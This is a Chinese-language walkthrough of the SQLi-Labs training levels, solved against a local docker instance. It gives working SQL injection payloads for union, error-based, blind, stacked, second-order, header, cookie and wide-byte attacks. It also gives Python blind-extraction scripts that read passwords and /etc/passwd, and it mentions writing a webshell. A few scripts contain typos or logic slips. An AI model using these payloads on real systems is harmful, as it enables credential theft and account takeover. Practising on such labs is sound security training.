SQL-Labs

环境搭建

docker

题解

less-1 -> less-4

有回显有报错,尝试联合注入。

?id=1' order by 3;--+ # 爆字段数
?id=-1' union select 1,2,database();--+ # 爆库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ # 爆表名
?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema='security' and table_name='users';--+ # 爆字段
?id=-1' union select 1,2,group_concat(username, " ", password) from users --+ #爆字段内容

less-2 去掉单引号即可,不需要闭合。

less-3id 使用了('拼接,使用')闭合即可。

less-4id 使用了("拼接,使用")闭合即可。

less-5 -> less-6

有回显,但是回显格式固定;有报错,猜测是报错注入,这里用了XPath语法报错注入。

注意报错注入限制了返回字符串的长度,可以通过逆序读取字符串、向右读取字符串、字符串截取三种方式绕过限制。

?id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # 爆库名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ # 爆表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ # 爆字段名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(username, " ", password) from users),0x7e),1)--+ # 爆字段内容

less-6使用双引号闭合。

less-7

有回显,没有具体回显信息,但是可以区分是否查询成功;有报错,但是没有输出报错信息,想到可能要用盲注。

提示给出"Use outfile",猜测用户拥有文件读写权限。

于是读取/etc/passwd文件

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select load_file('/etc/passwd')),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

接着读取user表。

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

才学疏浅,看到有姿势知道可以Apache配置文件,获得网站路径。

Apache配置文件路径;

/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>         
ServerAdmin webmaster@localhost          
DocumentRoot /var/www/html         
<Directory />                 
Options FollowSymLinks                 
AllowOverride None         
</Directory>         
<Directory /var/www/html>          

但其实不读也没关系?毕竟通常Apache目录都在/var/www/html/下。

还有正常其实是可以写入文件的,直接exec进去改权限。

docker exec -it 6c7 /bin/bash
chmod 777 /var/www/html/Less-7/

写入文件之后蚁剑一把梭。

Less-8

布尔盲注

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-8/?id=1' and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")

Less-9 -> Less-10

时间盲注

iimport requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            payload = "select group_concat(password) from users"
            url = f"http://127.0.0.1:8080/Less-9/?id=1' and if(ascii(substring(({payload}),{i},{i}))>{mid},sleep(3),1)--+"
            start = time.time()
            response = requests.get(url, timeout=5)
            end = time.time()
            if end - start < 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-10

把单引号改成双引号即可。

Less-11 -> Less-14

这关终于有个登录功能了,万能钥匙直接登录。

报错注入数据外带

Less-5一样的payload。

Less-12")闭合。

Less-13')闭合。

Less-14"闭合。

Less-15 -> Less-16

报错爆不出来了,只能尝试盲注了。

看了一下源码,原来是不打印报错信息了。

看一下源码

直接单引号闭合盲注完事

import requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-16/"
            data = {
                "uname": f"admin' or if(ascii(substring((select group_concat(password) from users),{i},1))>{mid},sleep(1),1);#",
                "passwd": "1' or 1=1;#"
            }

            try:
                start = time.time()
                response = requests.request("POST", url=url, data=data)
                end = time.time()
                if end - start < 3:
                    right = mid
                else:
                    left = mid + 1
                mid = (left + right) // 2
            except:
                left = mid + 1
        print(chr(mid))

Less-16

改成")完事。

这里脚本写的有点问题,延时的特别久直到timeout,也不懂是啥问题,最后只能用try捕捉了。

Less-17

密码更新功能,是update注入。

源码中打印error信息,报错注入一把梭。

uname=admin&passwd=123456' or updatexml(1,concat(0x7e,database(), 0x7e),1);#

Less-18

User-Agent注入,继续报错注入

username: Dumb
password: Dumb
User-Agent: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-19

Referer注入,和上一题差不多。

username: Dumb
password: Dumb
Referer: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-20

Cookie注入

登录后修改Cookie

' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

Less-21

同Cookie注入,但是被Base64编码

登录后修改Cookie

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Less-22

跟上一题一样,只是闭合方式改成双引号

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAxPSIx

Less-23

又回到了ID注入

多了正则表达式,过滤了两个常见的注释字符,只要使用闭合而不是注释字符即可绕过。

?id=-1' union select 1, (select group_concat(username, " ", password) from users), '3

Less-24

看到有修改密码功能,直接盲猜二次注入。

看一下注册功能。

传入的username被转义,再看一下修改密码功能:

发现这里的$username被直接拼接使用,而没有经过转义,可以石锤二次注入。

注册账号,设置$username

$username=admin' #

再次修改密码,原SQL语句进行拼接,结果为:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

可以直接修改原有账号admin的密码。

Less-25 -> Less-25a

把关键字ORAND过滤,双写绕过。

?id=-1' union select 1,2,(select group_concat(passwoorrd) from users)--+

25a是数字型注入,不需要闭合。

Less-26 -> Less-26a

这题做的云里雾里,没有很懂后面的原理。

测试了一下,发现空格和注释被过滤了。

这题解法比较多元,可以用异或连接。

?id=1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1

让我们在白盒测试一下,原SQL语句如下:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

拼接后:

$sql="SELECT * FROM users WHERE id='1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1' LIMIT 0,1"

测试一下,经过测试发现数字无论是多少,都会执行中间的updatexml语句,因为要进行异或操作,所以必定会执行XPath语句,然后报错

同理,相同的方法有||,也可以进行绕过。

而空格可以使用%0a绕过,在MySQL中,%0a、%0b等特殊字符都能进行绕过。

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-27 -> Less->27a

大小写绕过即可,只要括号用的够多,是可以绕过空格过滤的。

?id=1'and(updatexml(1,concat(0x7e,(seLect(group_concat(password))from(users)),0x7e),1))and'1'='1

27a将'改为"即可。

Less-28

试了半天,没法报错注入了,一看源码,又把print给注释了。

于是接着盲注。

import requests

if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f"http://127.0.0.1:8080/Less-28/?id=0')||substr(database(),{i},1)>'{ch}';%00"
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-29

看了源代码,注意到有报错提示,id变量用单引号闭合

?id=0' or (updatexml(1,concat(0x7e,database(),0x7e),1)) or '1'='1

注就完事了。

Less-30

这关注释了报错注入提示,但是有回显,可以考虑布尔盲注,也可以使用联合注入,提交的ID被双引号闭合。

import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f'http://127.0.0.1:8080/Less-28/?id=0"or(length(database())>=10)="1'
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))

Less-31

闭合方式不一样,多了一个",可以使用报错注入,与29类似。

Less-32 -> Less-37

GBK编码注入,利用%df进行宽字节注入。

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

这几题原理类似,不再赘述。

Less-38 -> Less-41

堆叠注入。

?id=1';insert users values(2333,"oatmeal","123456");--+

这几题原理类似,修改闭合方式即可。

Less-42 -> Less-45

password没有过滤,可以堆叠注入。

login_user=admin&login_password=1'%3binsert users value(2333, "oatmeal", "123456")%3b#&mysubmit=Login

Less-46 -> Less-47

注入方式很多,随便注就行。

?sort=1'and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-48 -> Less-49

这两题没有报错回显,盲注就行。区别在单引号上。

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

Less-50 -> Less-53

和前面的堆叠注入exp一样。

Last updated